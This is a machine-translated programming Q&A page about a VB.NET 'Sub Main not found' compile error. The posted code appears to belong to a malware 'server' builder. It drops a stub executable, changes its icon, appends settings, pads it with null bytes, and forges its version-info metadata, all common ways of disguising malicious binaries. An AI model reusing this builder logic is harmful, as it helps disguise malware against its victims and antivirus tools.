2013-10-06 2 views
0

, пожалуйста, у меня есть эта проблема с vb, и я попробовал все, чтобы исправить это, но все же не могу исправить это. Вот оно:VB.net Sub Main не найден в 'X'

Const Filesplit = "@[email protected]" 
    Dim temp As String = IO.Path.GetTempPath() & "\Stub.exe" 

    File.WriteAllBytes(temp, My.Resources.Stub) 

    If TextBox8.Text.Length > 2 Then 
     If File.Exists(temp) = True Then 
      Dim icon As New IconFile(TextBox9.Text) 
      Dim groupIconResource As GroupIconResource = icon.ConvertToGroupIconResource() 
      groupIconResource.SaveTo(temp) 
     End If 

    End If 

    FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 
    stub = Space(LOF(1)) 
    FileGet(1, stub) 
    FileClose(1) 

    If File.Exists(TextBox8.Text) Then 
     My.Computer.FileSystem.DeleteFile(TextBox8.Text) 
    End If 

    FileOpen(1, Application.StartupPath & "\" & TextBox8.Text & ".exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 
    Dim all As String = "" 
    For i = 0 To settings.Length - 1 
     all = all & Filesplit & settings(i) 
    Next 
    FilePut(1, stub & all) 

    FileClose(1) 
    File.Delete(temp) 

    If Form2.CheckBox41.Checked = True Then 
     ChngaeAssembly() 
    End If 


    If ComboBox1.Text = "KB" Then 
     Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append)) 
      Dim number As Integer = Val(TextBox6.Text) 
      For i = 0 To number 
       w.Write(New Byte(1024) {}) 
       w.Flush() 
      Next 

     End Using 
     MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid V 1.0") 
    Else 
     Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append)) 
      Dim number As Integer = Val(TextBox6.Text * 1000) 
      For i = 0 To number 
       w.Write(New Byte(1024) {}) 
       w.Flush() 
      Next 

     End Using 

     MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid") 
    End If 

    MsgBox("Problem Occured. The Server was not Built.", MessageBoxIcon.Error, "rapid") 

End Sub 
Private Sub ChngaeAssembly() 
    Try 
     If File.Exists(Application.StartupPath & "\res.exe") Then 
      File.Delete(Application.StartupPath & "\res.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
      File.Delete(Application.StartupPath & "\assemblychange.res") 
     End If 
     System.IO.File.WriteAllBytes(Application.StartupPath & "\res.exe", My.Resources.Res) 
     Dim source As String = My.Resources.String1 
     If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
      File.Delete(Application.StartupPath & "\assemblychange.exe") 
     End If 
     Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 
     Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 
     Dim CompResults As CompilerResults 
     Dim ComParameters As New CompilerParameters() 
     With ComParameters 
      .GenerateExecutable = True 
      .OutputAssembly = Application.StartupPath & "\assemblychange.exe" 
      .CompilerOptions = "/target:winexe" 
      .ReferencedAssemblies.Add("System.dll") 
      .ReferencedAssemblies.Add("System.Windows.Forms.dll") 
      .MainClass = "X" 
     End With 
     source = source.Replace("*Title*", Form2.TextBox3.Text) 
     source = source.Replace("*Description*", Form2.TextBox4.Text) 
     source = source.Replace("*Company*", Form2.TextBox5.Text) 
     source = source.Replace("*Product*", Form2.TextBox6.Text) 
     source = source.Replace("*Copyright*", Form2.TextBox7.Text) 
     source = source.Replace("*Trademark*", Form2.TextBox8.Text) 
     source = source.Replace("*version*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown2.Value, Form2.NumericUpDown3.Value, Form2.NumericUpDown4.Value, Form2.NumericUpDown5.Value)) 
     source = source.Replace("*fversion*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown6.Value, Form2.NumericUpDown7.Value, Form2.NumericUpDown8.Value, Form2.NumericUpDown9.Value)) 
     CompResults = Compiler.CompileAssemblyFromSource(ComParameters, source) 
     If CompResults.Errors.Count > 0 Then 
      For Each CompilerError In CompResults.Errors 
       MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error) 
      Next 
      If File.Exists(Application.StartupPath & "\res.exe") = True Then 
       File.Delete(Application.StartupPath & "\res.exe") 
      End If 
      If File.Exists(Application.StartupPath & "\res.log") = True Then 
       File.Delete(Application.StartupPath & "\res.log") 
      End If 
      If File.Exists(Application.StartupPath & "\res.ini") = True Then 
       File.Delete(Application.StartupPath & "\res.ini") 
      End If 
      If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
       File.Delete(Application.StartupPath & "\assemblychange.exe") 
      End If 
      If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
       File.Delete(Application.StartupPath & "\assemblychange.res") 
      End If 
      MessageBox.Show("An error occurred. The assembly was not changed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) 
      Exit Sub 
     End If 
     Dim otherfile As String = Application.StartupPath & "\assemblychange.exe" 
     Dim resfile As String = Application.StartupPath & "\assemblychange.res" 
     Dim mainfile As String = Application.StartupPath & "\" & TextBox8.Text & ".exe" 
     Shell(String.Format("{0}res.exe -extract {1},{2},VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), otherfile, resfile)) 
     Shell(String.Format("{0}res.exe -delete {1},{0}res.exe,VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile)) 
     Shell(String.Format("{0}res.exe -addoverwrite {1},{1},{2},VERSIONINFO,1,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile, resfile)) 
     If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
      File.Delete(Application.StartupPath & "\assemblychange.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
      File.Delete(Application.StartupPath & "\assemblychange.res") 
     End If 
     If File.Exists(Application.StartupPath & "\res.exe") = True Then 
      File.Delete(Application.StartupPath & "\res.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\res.log") = True Then 
      File.Delete(Application.StartupPath & "\res.log") 
     End If 
     If File.Exists(Application.StartupPath & "\res.ini") = True Then 
      File.Delete(Application.StartupPath & "\res.ini") 
     End If 
    Catch 
    End Try 
End Sub 

Когда я отладки, я получаю Sub Main не был найден в «X», когда я пытаюсь изменить сборки, пожалуйста, как это исправить? Заранее спасибо

+0

Что именно вы пытаетесь сделать, это выглядит, как вы начали с проектом Winform и пытаетесь изменить форму запуска, если это так, перейдите в свойства проектов и измените его там. –

+0

Не меняя свойства winform, меняя свойства создаваемого файла – user1335112

ответ

2

Один из способов получить эту ошибку - иметь Sub Main как объект запуска, когда он не существует.

В соответствии с вашими свойствами проекта приложение, объект запуска может быть настроено на «Sub Main», если у вас нет Sub Main. Вместо этого вы можете выбрать форму (или под), которая существует в вашем проекте.

(Эта опция ограничиваются формами, если «Enable фреймворки» проверяются.)

Смежные вопросы